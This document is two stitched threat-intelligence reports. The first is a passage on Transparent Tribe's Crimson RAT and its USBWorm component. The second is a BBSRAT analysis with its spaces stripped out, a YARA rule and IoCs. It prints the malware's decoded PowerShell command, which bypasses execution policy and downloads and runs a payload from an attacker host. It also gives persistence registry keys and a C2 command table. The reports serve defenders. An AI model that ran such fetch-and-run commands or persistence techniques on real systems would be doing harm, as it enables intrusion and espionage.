basic information about the victims systems. Server main panel Geolocation information is retrieved from a legitimate website using a remote IP address as the input. The URL used by the server is: http://ip-api.com/xml/ip At the top, there is a toolbar that can be used for managing the server or starting some actions on the selected bot. At the bottom, there is an output console with a list of actions performed by the server in the background. It will display, for example, information about received and sent commands. The server uses an embedded configuration specified inside a class named settings. Example of embedded configuration The class contains TCP port values, default file names and installation paths used by each malware component. The server does not include any features to build the other components they need to be manually placed in specific predefined folders. For example, based on the configuration displayed in the picture above, the msclient must be placed in .\tmps\rfaiwaus.exe. 3/17 This leads us to conclude that the resulting server file was generated by another builder, which created the executable files, directories and the other files used by the application. Bot panel The main features are accessible from the bot panel, an interface with twelve tabs, which can be used to manage a remote system and collect information. Update module The first tab is used for checking the client configuration, uploading Crimson components and executing these on remote system. Update modules tab The Crimson framework is composed of seven client components: Thin Client - a tiny version of the RAT used for recognizing the victim. The thin client is the most common one it is usually dropped during the infection process by which Transparent Tribe is distributed and is most commonly found on OSINT resources. It contains a limited number of features and can typically be used to: collect information about infected system collect screenshots manage the remote filesystem download and upload files get a process list kill a process execute a file 4/17 Main Client - the full-featured RAT. It can handle all Thin Client features, but it can also be used to: install the other malware components capture webcam images eavesdrop using a computer microphone send messages to the victim execute commands with COMSPEC and receive the output. USB Driver - a USB module component designed for stealing files from removable drives attached to infected systems. USB Worm - this is the USBWorm component developed for stealing files from removable drives, spread across systems by infecting removable media, and download and execute the Thin Client component from a remote Crimson server. Pass Logger - a credential stealer, used for stealing credentials stored in the Chrome, Firefox and Opera browsers. KeyLogger - this is simple malware used for recording keystrokes. Remover - this cannot be pushed using the Update module tab, but it can be uploaded to an infected machine automatically using the Delete User button. Unfortunately, we did not acquire that component and we cannot provide a description of it. Interestingly, Transparent Tribe tries to circumvent certain vendors security tools by configuring the Server to prevent installation of some of the malware components, specifically the USB Driver and the Pass Logger, on systems protected with Kaspersky products. They also prevent installation of the Pass Logger on systems protected by ESET. Snippet of code that prevents installation of certain components on systems protected by Kaspersky products File Manager Auto Download tabs 5/17 The file manager allows the attacker to explore the remote file system, execute programs, download, upload and delete files. File manager tab Most of the buttons are self-explanatory. The most interesting ones are USB Drive and Delete USB, used for accessing data stolen by the USB Driver and USB Worm components and the Auto File Download feature. This feature opens another window, which can also be accessed via the second last tab. It allows the attacker to configure the bot to search files, filter results and upload multiple files. Auto download tab 6/17 Screen and Webcam monitoring tabs These tabs are used for managing two simple and powerful features. The first one is designed for monitoring the remote screen and checking what the user is doing on their system. The second one can be used for spying on a remote webcam and performing video surveillance. The attacker can retrieve a single screenshot or start a loop that forces the bot to continuously send screenshots to the server, generating a live stream of sorts. The attacker can also configure the RAT component to record the images on the remote system. Other tabs The other tabs are used for managing the following features: Audio surveillance: The malware uses the NAudio library to interact with the microphone and manage the audio stream. The library is stored server-side and pushed to the victims machine using a special command. Send message: The attacker can send messages to victims. The bot will display the messages using a standard message box. Keylogger: Collects keyboard data. The log includes the process name used by the victim, and keystrokes. The attacker can save the data or clear the remote cache.
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Password Logger: The malware includes a feature to steal browser credentials.
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data/reports_final/0220.txt
Password Logger: The malware includes a feature to steal browser credentials. The theft is performed by a specific component that enumerates credentials saved in various browsers. For each entry, it saves the website URL, the username and the password. Process manager: The attacker can obtain a list of running processes and terminate these by using a specific button. Command execution: This tab allows the attacker to execute arbitrary commands on the remote machine. Crimson Server version B The other version is quite similar to the previous one. Most noticeably, in this B version, the graphical user interface is different. Main toolbar version B Update USB Worm is missing from the Update Bot tab, which means that the USB Worm feature is not available in these versions. 7/17 Update modules tab, version B This version does not include the check that prevents installation of certain components on systems protected with Kaspersky products, and the Command execution tab is missing. At the same position, we find a different tab, used for saving comments about the infected machine. Notes USBWorm Last January, we started investigating an ongoing campaign launched by Transparent Tribe to distribute the Crimson malware. The attacks started with malicious Microsoft Office documents, which were sent to victims using spear-phishing emails. 8/17 Decoy document used in an attack against Indian entities The documents typically have malicious VBA code embedded, and sometimes protected with a password, configured to drop an encoded ZIP file which contains a malicious payload. 9/17 User form with encoded payloads The macro drops the ZIP file into a new directory created under ALLUSERPROFILE and extracts the archive contents at the same location. The directory name can be different, depending on the sample: ALLUSERSPROFILE\Media-List\tbvrarthsa.zip ALLUSERSPROFILE\Media-List\tbvrarthsa.exe 10/17 Snippet of VBA code The executable file is the Crimson Thin Client, which allows the attacker to gain basic information about the infected machine, collect screenshots, manipulate the file system and download or upload arbitrary files. During our analysis, we noticed an interesting sample connected to a Crimson C2 server. This sample was related to multiple detections, all of these having different file names and most of them generated from removable devices. One of the file path name combinations observed was C:\ProgramData\Dacr\macrse.exe, also configured in a Crimson Main Client sample and used for saving the payload received from the C2 when invoking the usbwrm command. 11/17 USBWorm file construction function We concluded that this sample was the USBWorm component mentioned by Proofpoint in its analysis of the malware. Based on previous research, we knew that this RAT was able to deploy a module to infect USB devices, but as far as we know, it had never been publicly described. USB Worm description Our analysis has revealed that USBWorm is much more than a USB infector. In fact, it can be used by the attacker to: download and execute the Crimson Thin Client infect removable devices with a copy of USBWorm itself steal files of interest from removable devices (i.e. USB Stealer) By default, the program behaves as a downloader, infector and USB stealer. Usually, the component is installed by the Crimson Main Client, and when started, it checks if its execution path is the one specified in the embedded configuration and if the system is already infected with a Crimson client component. If these conditions are met, it will start to monitor removable media, and for each of these, the malware will try to infect the device and steal files of interest. The infection procedure lists all directories. Then, for each directory, it creates a copy of itself in the drive root directory using the same directory name and changing the directory attribute to hidden. This results in all the actual directories being hidden and replaced 12/17 with a copy of the malware using the same directory name. Moreover, USBWorm uses an icon that mimics a Windows directory, tricking the user into executing the malware when trying to access a directory. USBWorm icon This simple trick works very well on default Microsoft Windows installations, where file extensions are hidden and hidden files are not visible. The victim will execute the worm every time he tries to access a directory. Moreover, the malware does not delete the real directories and executes explorer.exe when started, providing the hidden directory path as argument. The command will open the Explorer window as expected by the user. The data theft procedure lists all files stored on the device and copies those with an extension matching a predefined list: File extensions of interest: .pdf, .doc, .docx, .xls, .xlsx, .ppt, .pptx, .pps, .ppsx, .txt If the file is of interest, i.e. if the file extension is on the predefined list, the procedure checks if a file with the same name already has been stolen. The malware has a text file with a list of stolen files, which is stored in the malware directory under a name specified in the embedded configuration. Of course, this approach is a little buggy, because if the worm finds two different files with the same name, it will steal only the first one. Anyway, if the file is of interest and is not on the list of stolen files, it will be copied from the USB to a local directory usually named data or udata, although the name could be different. If the worm is executed from removable media, the behavior is different. In this case, it will check if the Thin Client or the Main Client is running on the system. If the system is not infected, it will connect to a remote Crimson Server and try to use a specific USBW command to download and execute the Thin Client component. 13/17 Snippet of code used to build USBW request The persistence is guaranteed by a method that is called when the program is closing. It checks if the malware directory exists as specified in an embedded configuration and then copies the malware executable inside it. It also creates a registry key under HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run to execute the worm automatically. USB Worm distribution During our investigation, we found around two hundred distinct samples related to Transparent Tribe Crimson components. We used the Kaspersky Security Network (KSN) to collect some statistics about the victims. Considering all components detected between June 2019 and June 2020, we found more than one thousand distinct victims distributed across twenty-seven countries. 14/17 Crimson distribution map Most of the detections were related to the USB Worm components and in most of the countries, the number of events was very low. Crimson detections USBWorm vs other components If we check victims compromised with the other client components, we can find the real targets. Top five infected countries from June 2019 to June 2020 USBWorm excluded 15/17 The graph includes the highest number of distinct victims, and it shows that Transparent Tribe maintained a strong focus on Afghanistan during the final part of 2019 and then started to focus again on Indian users during 2020. We may speculate that detections in other countries may be related to entities related to main targets, such as personnel of embassies. Conclusions Transparent Tribe continues to show high activity against multiple targets. In the last twelve months, we observed a broad campaign against military and diplomatic targets, using extensive infrastructure to support their operations and continuous improvements in their arsenal. The group continue to invest in their main RAT, Crimson, to perform intelligence activities and spy on sensitive targets. We do not expect any slowdown from this group in the near future and we will continue to monitor their activities. IoC The followings IOC list is not complete. If you want more information about the APT discussed here, as well as a full IOC list, and YARA rules are available to customers of Kaspersky Threat Intelligence Reports. Contact: intelreportskaspersky.com 5158C5C17862225A86C8A4F36F054AE2 Excel document NHQ_Notice_File.xls D2C407C07CB5DC103CD112804455C0DE Zip archive tbvrarthsa.zip 76CA942050A9AA7E676A8D553AEB1F37 Zip archive ulhtagnias.zip 08745568FE3BC42564A9FABD2A9D189F Crimson Server Version A 03DCD4A7B5FC1BAEE75F9421DC8D876F Crimson Server Version B 075A74BA1D3A5A693EE5E3DD931E1B56 Crimson Keylogger 1CD5C260ED50F402646F88C1414ADB16 Crimson Keylogger CAC1FFC1A967CD428859BB8BE2E73C22 Crimson Thin Client E7B32B1145EC9E2D55FDB1113F7EEE87 Crimson Thin Client F5375CBC0E6E8BF10E1B8012E943FED5 Crimson Main Client 4B733E7A78EBD2F7E5306F39704A86FD Crimson Main Client 140D0169E302F5B5FB4BB3633D09B48F Crimson USB Driver 9DD4A62FE9513E925EF6B6D795B85806 Crimson USB Driver 1ED98F70F618097B06E6714269E2A76F Crimson USB Worm F219B1CDE498F0A02315F69587960A18 Crimson USB Worm 64.188.25.206 Crimson C2 173.212.192.229 Crimson C2 45.77.246.69 Crimson C2 16/17 mailto:intelreportskaspersky.com newsbizupdates.net Crimson C2 173.249.22.30 Crimson C2 uronlinestores.net Crimson C2 17/17 Transparent Tribe: Evolution analysis, part 1 Background and key findings Crimson Server Crimson Server version A Main panel Bot panel Crimson Server version B USBWorm USB Worm description USB Worm distribution Conclusions IoC 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 1/12 Home BlogHome Applipedia ThreatVault Reports Tools English 1.866.320.4788 Support Resources Research Search Search Tweet 5 BBSRATAttacksTargetingRussianOrganizationsLinkedto RoamingTiger postedby:BryanLeeandJoshGrunzweigonDecember22,20155:00PM filedin:Malware,Unit42 tagged:AutoFocus,BBSRAT,MicrosoftOffice,PlugX,RoamingTiger Inlate2014,ESETpresentedanattackcampaignthathadbeenobservedoveraperiodoftimetargetingRussiaandother Russianspeakingnations,dubbedRoamingTiger. TheattackwasfoundtoheavilyrelyonRTFexploitsandatthetime,thought tomakeuseofthePlugXmalwarefamily. ESETdidnotattributetheattackstoaparticularattackgroup,butnotedthattheobjectiveofthecampaignwasespionageand generalinformationstealing. BasedondatacollectedfromPaloAltoNetworksAutoFocusthreatintelligence,wediscovered continuedoperationsofactivityverysimilartotheRoamingTigerattackcampaignthatbeganintheAugust2015timeframe,witha concentrationofattacksinlateOctoberandcontinuingintoDecember. TheadversariesbehindtheseattackscontinuedtotargetRussiaandotherRussianspeakingnationsusingsimilarexploitsand attackvectors. However,whilethemalwareusedinthesenewattacksusessimilarinfectionmechanismstoPlugX,itisa completelynewtoolwithitsownspecificbehaviorpatternsandarchitecture. WehavenamedthistoolBBSRAT. TargetingandInfrastructure AsdescribedinearlierreportsonRoamingTiger,theattackobservedinAugust2015usedweaponizedexploitdocumentsthat leaveRussianlanguagedecoydocumentfilesafterinfectingthesystem. ThefilesexploitthewellknownMicrosoftOffice vulnerability,CVE20120158,toexecutemaliciouscodeinordertotakecontrolofthetargetedsystems. 36 Like http://paloaltonetworks.com/ http://researchcenter.paloaltonetworks.com/ http://applipedia.paloaltonetworks.com/ http://researchcenter.paloaltonetworks.com/threat-vault/ https://www.paloaltonetworks.com/resources/research.html http://researchcenter.paloaltonetworks.com/tools/ https://support.paloaltonetworks.com/ https://www.paloaltonetworks.com/resources.html http://researchcenter.paloaltonetworks.com/ https://twitter.com/intent/tweet?original_refererhttp3A2F2Fresearchcenter.paloaltonetworks.com2F20152F122Fbbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger2Fref_srctwsrc5EtfwtextBBSRAT20Attacks20Targeting20Russian20Organizations20Linked20to20Roaming20Tigertw_ptweetbuttonurlhttp3A2F2Fresearchcenter.paloaltonetworks.com2F20152F122Fbbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger2FviaPaloAltoNtwks http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ http://researchcenter.paloaltonetworks.com/author/bryan-lee/ http://researchcenter.paloaltonetworks.com/author/josh-grunzweig/ http://researchcenter.paloaltonetworks.com/malware-2/ http://researchcenter.paloaltonetworks.com/unit42/ http://researchcenter.paloaltonetworks.com/tag/autofocus/ http://researchcenter.paloaltonetworks.com/tag/bbsrat/ http://researchcenter.paloaltonetworks.com/tag/microsoft-office/ http://researchcenter.paloaltonetworks.com/tag/plugx/ http://researchcenter.paloaltonetworks.com/tag/roaming-tiger/ http://2014.zeronights.org/assets/files/slides/roaming_tiger_zeronights_2014.pdf https://www.paloaltonetworks.com/products/platforms/subscriptions/autofocus.html 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 2/12 Figure1SpearphishingemaildeliveringBBSRAT Inonecase,theadversaryimpersonatedanindividualfromtheorganizationVigstar,aRussianbasedresearchorganizationin chargeofthedevelopmentofsatellitecommunicationsandspecialpurposewirelessdevicesfortheRussianFederationsdefense andsecurityagencies. ThetargetedemailaddressappearedtobeaGmailaccountassociatedwithVigstaraswell,andwas foundonajobboardwebsiteforajobopeningatVigstar. Theroughtranslationofthebodyoftheemailisasfollows: Isendyoualistofinternationalexhibitionsofmilitary,civilanddualpurpose,conductedin2015ontheterritoryoftheRussian Federationandforeignstates. Waitingforyourreply Figure2confirmsthatthedecoydocumentthatopensafterthemalwareinfectsthesystemisindeedalistofinternational exhibitionsthatwereconductedonRussianterritoryin2015. Figure2Decoydocumentthatisopenedafterthemaliciousdocumenthasinfectedthesystem Inmorerecentmonths,wehaveidentifiedseveralotherpotentialRussianvictimsusingAutoFocus. Analysisofthecommandand 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 3/12 control(C2)infrastructureshowsthatthenewlydiscoveredsamplesofBBSRATusedthesameC2domainsaspreviously publishedintheRoamingTigercampaign,includingtransactiona[.]comandfuturesgold[. ]com. Interestingly,allofthepreviously publishedC2domainshavesignificantoverlapamongstthehashesandIPswhileC2sforBBSRATcontainnooverlapatall. This mayindicatethatforthenewerattackcampaignusingBBSRAT,theadversarymayhavedeployedpurposebuiltvariantsand/or infrastructureforeachoftheintendedtargets. Figure3Commandandcontrolinfrastructure BBSRATMalwareAnalysis DeploymentTechnique1 BBSRATistypicallypackagedwithinaportableexecutablefile,althoughinafewoftheobservedinstances,arawDLLwas discoveredtocontainBBSRAT.Whenthedropperfirstruns,itwillgenerateapathintheTEMPdirectory. Thegenerated filenameis1016uppercasealphabeticcharacters,andendswitha. TMPfileextension. Thedropperwillcontinuetowritean embeddedcabfileinthislocation. Figure4HeaderofCABfiledroppedbyBBSRAT ThemalwarewillproceedtocreateoneofthefollowingdirectoriesdependingonwhatversionofMicrosoftWindowsisrunningon thetargetmachine: ALLUSERSPROFILE\SSONSVR ALLUSERSPROFILE\ApplicationData\SSONSVR Usingthebuiltinexpand.exeutilityprovidedbyMicrosoftWindows,thedropperexecutesthefollowingcommand,whichwill https://support.microsoft.com/en-us/kb/80751 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 4/12 expandtheCABfileandwritetheresultstotheprovideddirectory: expand.exeTEMP\[temp_file]Destination[chosen_path]\SSONSVR ThisresultsinthefollowingthreefilesbeingwrittentotheSSONSVRdirectory: aclmain.sdb pnipcn.dll ssonsvr.exe Thessonsvr.exefileisalegitimateCitrixexecutablethatwillbeusedtosideloadthemaliciouspnipcn.dllfile. Theaclmain.sdb filecontainscodethatwilleventuallybeloadedbythepnipcn.dllfile. Themalwarefinallyexecutesssonsvr.exeviaacalltoShellExecuteW. Figure5ExecutionflowofdropperexpandingCABfile Whenssonsvr.exeisexecuted,andthepnipcn.dllfileisloaded,itwillbeginbyidentifyingthepathtomsiexec.exe,byexpanding thefollowingenvironmentstring: SystemRoot\System32\msiexec.exe Itwillthenspawnasuspendedinstanceofmsiexec.exeinanewprocess. Themalwareproceedstoloadcodefromthe aclmain.sdbfileandperformsprocesshollowingagainstthisinstanceofmsiexec.exepriortoresumingtheprocess. Figure6Sideloadingexecutionflow Inordertoensurepersistence,thefollowingregistrykeyiswrittenonthevictimsmachine: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ssonsvr.exe:[path_to_ssonsvr.exe] DeploymentTechnique2 InthemostrecentlyobservedsampleofBBSRATfoundinAutoFocus,theTrojanwasdeployedviaadownloaderthatusedthe InvokeReflectivePEInjection.ps1scriptfromthePowerSploitframework. Whenthedownloaderexecutes,itwillfirstdecryptthefollowingtwostringsusinga5byteXORkeyof\x01\x02\x03\x04\x05: powershellexecbypasscIEX(NewObjectNet. WebClient).DownloadString(http://testzake[. ]com/IR.ps1)Invoke ReflectivePEInjectionPEUrlhttp://testzake[. ]com/s.exe C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershellexecbypasscIEX(NewObject Net. WebClient).DownloadString(http://testzake[.]com/IR.ps1)InvokeReflectivePEInjectionPEUrlhttp://testzake[. ]com/s.exe ThesestringsarethensequentiallyexecutedviacallstoWinExec. Aswecansee,thesecondcommandisspecificallycraftedto runon64bitversionsofMicrosoftWindows. Thecommandsinquestionwilldownloadanexecutablefileandrunitwithinthe contextofthepowershellprocess. Whentheabovecommandsareexecuted,thedownloaderwillinitiallydownloadtheIR.ps1powershellscriptfromthespecified URL: Figure7DownloaderdownloadingtheInvokeReflectivePEInjectionPowerSploitscript ThisPowershellscriptappearstohavebeenpulleddirectlyfromthePowerSploitframework,withnomodificationsmade. The malwaretheninvokesthisscriptwithaURLthatpointstoanadditionalexecutablefile. Thisdownloadedexecutablecontainsa copyoftheBBSRATmalwarefamily. https://attack.mitre.org/wiki/DLL_side-loading https://msdn.microsoft.com/en-us/library/windows/desktop/bb762153(vvs.85).aspx https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 5/12 Thedownloaderproceedstodropeithera32bitor64bitDLLfilethatwillexecutethetwopreviouslystatedPowershell commandswhentheDLLisloaded. ThisDLLisdroppedtooneofthefollowinglocations: SYSTEMROOT\web\srvcl32.dll APPDATA\web\srvcl32.dll Additionally,thefollowingregistrykeysaresetdependingonthesystemsCPUarchitecture: HKU\Software\Classes\CLSID\42aedc87218841fdb9a30c966feabec1\InprocServer32\ThreadingModelBoth HKU\Software\Classes\CLSID\42aedc87218841fdb9a30c966feabec1\InprocServer32\Default[path_to_srvcl32.dll] HKLM\SOFTWARE\Classes\CLSID\F3130CDBAA524C3AAB3285FFC23AF9C1\InprocServer32\ThreadingModelBoth HKLM\SOFTWARE\Classes\CLSID\F3130CDBAA524C3AAB3285FFC23AF9C1\InprocServer32\Default [path_to_srvcl32.dll] TheCOMobjectfor42aedc87218841fdb9a30c966feabec1isspecifictoMruPidlList,whiletheCOMobjectforF3130CDB AA524C3AAB3285FFC23AF9C1isspecifictoMicrosoftWBEMNewEventSubsystem. ThisensuresthattheDLLspecified willloadwhenMicrosoftWindowsstarts. ItisatechniquethatwasusedbytheZeroAccessrootkitwhenitinitiallysurfaced. BBSRATExecution Afterbeingloadedusingoneofthetwotechniquesdiscussed,BBSRATmalwarebeginsexecutionbyloadingthefollowing librariesatruntime: ntdll.dll kernel32.dll user32.dll advapi32.dll gdi32.dll ws2_32.dll shell32.dll psapi.dll Secur32.dll WtsApi32.dll Netapi32.dll Version.dll Crypt32.dll Wininet.dll ThefollowingmutexisthencreatedtoensureasingleinstanceofBBSRATisrunningatagiventime: Global\GlobalAcProtectMutex ThroughouttheexecutionofBBSRAT,itwilldynamicallyloadfunctionspriortocallingthem,asseenintheexamplebelow demonstratingBBSRATmakingacalltotheWSAStartupfunction: Figure8BBSRATcallingWSAStartupfunction Themalwareproceedstoparsethestoredembeddednetworkconfigurationandspawnsaseriesofthreadsresponsiblefor networkcommunication. ThisincludesaseriesofHTTPorHTTPSrequests,suchasthefollowing: GET/bbs/1/forum.php?sid1HTTP/1.1 Cookie:A46A8AA9D7D643FB959DC96E ContentLength: UserAgent:Mozilla/4.0(compatibleWindowsNT5.1) Connection:KeepAlive Host:transactiona[. ]com CacheControl:nocache Accept:/ ContentType: Intheaboveexample,the1usedbothintheURIandthesidGETparameterisaglobalincrementalcounter. Everysubsequent requestmadebyBBSRATincrementsthiscounterbyone. Additionally,allvariantsofBBSRATwehavefoundusethesameURL https://nakedsecurity.sophos.com/2012/06/06/zeroaccess-rootkit-usermode/ 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 6/12 forcommandandcontrol(C2)communication. Whenfirstexecuted,themalwarewillexfiltratedataaboutthevictimsmachineviaaPOSTrequesttothe /bbs/[counter]/forum.php?sid[counter]URL.AllnetworkdatasentviaPOSTrequestsusesacustombinarystructure,asdefined asthefollowing: Thecompressed_datafieldiscompressedusingthecommonZLIBcompressionalgorithm. Additionally,intheeventdataisbeing sentviaHTTPratherthanHTTPS,thefollowingadditionalencryptionalgorithmisappliedtothePOSTdata: ThefollowingdatastructureholdsthevictimsinformationthatisuploadedbyBBSRAT: BBSRATacceptsmanypossiblecommandsthattheC2servercanprovide. ThesecommandsaresentasaresponsetotheGET beaconsthatarecontinuallyrequestedviaeitherHTTPorHTTPS.Thefollowingcommandsandsubcommandshavebeen identified: CommandSub command Description 0x110010 N/A Beacon 1 2 3 4 5 6 7 8 9 10 11 struct network_header DWORD random DWORD hardcoded0 DWORD hardcoded1 DWORD command DWORD length_of_compressed_data DWORD length_of_decompressed_data DWORD unknown2 BYTE compressed_data[] 1 2 3 4 5 6 7 8 def decrypt(data): out [] for x in data: t (ord(x) - 23) t1 (t 62) t2 (t1 23) 0xFF out.append(chr(t2)) return out 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 struct victim_information DWORD static_value DWORD major_version DWORD minor_version DWORD build_number DWORD platform_id DWORD default_locale DWORD unknown DWORD local_ip_address DWORD running_as_64_bit DWORD random DWORD unknown2 DWORD struct_length DWORD struct_with_not_used_length DWORD struct_with_username_length DWORD struct_with_group_length DWORD unknown3 DWORD struct_with_hostname_length WCHAR not_used[??] WCHAR username[??] WCHAR group[??] WCHAR hostname[??] 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 7/12 0x110011 N/A Uninstall/KillMalware 0x110020 N/A UploadVictimInformation 0x110064 0x2 ExecuteCommandandReturnResponse 0x110064 0x4 Unknown 0x110064 0x5 ExecuteShellcode 0x110066 0x7 QueryServiceConfiguration 0x110066 0x9 StartService 0x110066 0xa StopService 0x110066 0xb DeleteService 0x110066 0xc ChangeServiceConfiguration 0x110063 0xd EnumerateRunningProcesses 0x110063 0xf KillProcess 0x110063 0x10 GetProcessInformation 0x110063 0x12 FreeLibraryforSpecifiedProcess 0x110065 0x1b ExecuteCommandQuietly 0x110065 0x1e SendInputtoConsole 0x110065 0x1f ExecuteShellcode 0x110061 0x20 ListDriveInformation 0x110061 0x21 ListFileInformationForGivenDirectory 0x110061 0x23 WriteFile 0x110061 0x24 ReadFile 0x110061 0x25 ListFileInformationForGivenDirectory 0x110061 0x27 PerformFileOperationviaSHFileOperation() 0x110061 0x28 DeleteFile 0x110061 0x29 CreateDirectory 0x110061 0x2a ShellExecute PleaserefertotheappendixforafulllistofidentifiedBBSRATsamplesandtheirassociatedC2servers. Conclusion Asinmanyofthepreviousarticlesregardingespionagemotivatedadversariesandpossiblenationstatecampaigns,whatisbeing observedinthisattackcampaignisacontinuedoperationandevolutionbytheadversaryevenafteritstactics,techniques,and procedures(TTPs)havebecomepublicknowledge. Despitethefactthattheinformationabouttheseattackershasbeenpublicfor overayear,includingalistingofmanyofthecommandandcontrolservers,theycontinuetoreusemuchoftheirexposed playbook. WeurgeorganizationstousethedatafromUnit42andotherthreatintelligencesourcesisparamounttoproactively securethemselvesandpreventattacks. WildFireproperlyclassifiesBBSRATmalwaresamplesasmalicious. WehavereleasedDNSsignaturestoblockaccesstotheC2 domainnamesincludedinthisreport. AutoFocususerscanexploretheseattacksusingtheBBSRATmalwarefamilytag. Appendix YARARule BBSRATSamples MD5 EF5FA2378307338D4E75DECE88158D77(SampleAnalyzed) SHA1 574230D89EABDE0B6F937CD718B3AD19BB4F5CE3 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 rule bbsrat meta: author Tyler Halfpop company Palo Alto Networks last_updated 12-16-15 strings: sa0 ALLUSERSPROFILE\\SSONSVR fullword wide sa1 ALLUSERSPROFILE\\Application Data\\SSONSVR fullword wide sa2 \\ssonsvr.exe fullword wide oa0 83 E8 01 88 0C 04 75 F8 8B 44 24 40 89 4C 24 18 89 4C 24 1C 89 4C 24 30 89 oa1 75 11 5F 5E B8 0D 00 00 00 5B 81 C4 ? ? 07 00 00 C2 10 00 53 68 80 00 00 00 sb0 systemroot\\Web\\ sb1 srvcl32.dll ob0 B8 67 66 66 66 F7 E9 D1 FA 8B C2 C1 E8 1F 03 C2 8D 04 80 8B D1 2B D0 8A 44 ob1 8D 84 24 18 02 00 00 50 C7 84 24 1C 02 00 00 94 00 00 00 FF 15 4C 20 40 00 condition: uint16(0) 0x5a4d and filesize 300KB and (all of (sa) or all of (oa) or all https://www.paloaltonetworks.com/products/technologies/wildfire.html https://autofocus.paloaltonetworks.com//tag/Unit42.BBSRAT 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 8/12 SHA256 FC4B465EE8D2053E9E41FB0A6AE32843E4E23145845967A069E584F582279725 Compile Time 2014122617:17:00UTC Network Protocol HTTPS C2 Server(s) transactiona[. ]com financenewsru[. ]net MD5 2254A1CA05DB87D9D58A71DDB97C7395 SHA1 65B17D3FF68D25392A9B0B9E25A275540DFB4E8D SHA256 567A5B54D6C153CDD2DDD2B084F1F66FC87587DD691CD2BA8E30D689328A673F Compile Time 2015110407:14:33UTC Network Protocol HTTPS C2 Server(s) jowwln[.]cocolco[. ]com pagbine[.]ofhloe[. ]com cdaklle[.]housejjk[. ]com MD5 74A41C62D9EC1164AF82B802DA3E8B3E SHA1 D390E0965823E42584F2799EF0E8161A6540AF3E SHA256 77A2E26097285A794E42C9E813D14936D0E7A1DD3504205DD6B28A71626F8C3C Compile Time 2015110407:14:33 Network Protocol HTTPS C2 Server(s) kop[.]gupdiic[. ]com MD5 C17534E4B61C08A7646CDC64574B429B SHA1 931BAB999568C228616430A5AEDFEDFC34E1F151 SHA256 61A692E615E31B97B47A215479E6347FBD8E6E33D7C9D044766B4C1D1AE1B1FB Compile Time 2015110407:14:33UTC Network Protocol HTTPS C2 Server(s) herman[.]eergh[. ]com MD5 C7C79393E762E7ED925F42D3C899BA60 SHA1 7406B11851200D0ADA1A8334107182D636738CE5 SHA256 B1737F3A1C50CB39CD9938D5EC3B4A6A10B711F17E917886481C38967B93E259 Compile Time N/A Network Protocol HTTP C2 Server(s) 211.44.42[. ]55 MD5 0EA888E970345B2FBFD74B369FE46DDD SHA1 EB4F9BDE2FFAE863E0D7AD5848A758D59224C3F7 SHA256 56D878EDD61176CA30D4A41555671161158E94E8A50E5482985F42C4E4843CB5 Compile Time 2015082509:33:57UTC Network Protocol HTTPS C2 Server(s) crew[.]wichedgecrew[. ]com blueway[.]garmiodrive[. ]com helloway[.]floretdog[. ]com MD5 FA944818A939456A7B6170326C49569F SHA1 0EB3AE28A7A7D97ABA30DA4E8EB0A4AB36EFD035 SHA256 22592A32B1193587A707D8B20C04D966FE61B37F7DEF7613D9BB91FF2FE9B13B Compile Time 2015082509:33:57UTC 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 9/12 Network Protocol HTTPS C2 Server(s) panaba[.]empleoyplan[. ]com kop[.]gupdiic[. ]com peak[.]measurepeak[. ]com MD5 896691AE546F498404F5884607D6EB50 SHA1 91A176EB5B2436762B9898075EC66042E33615A3 SHA256 13D0BD83A023712B54C1DD391DFC1BC27B22D9DF4FE3942E2967EC82D7C95640 Compile Time N/A Network Protocol HTTP C2 Server(s) 211.44.42[. ]55 MD5 A78B9438117963A9A18B2F056888498B SHA1 98E79C065DB88B4686AB5B7C36C4524333D64C48 SHA256 E049BD90028A56B286F4B0B9062A8DF2AB2DDF492764E3962F295E9CE33660E3 Compile Time 2014122617:17:00UTC 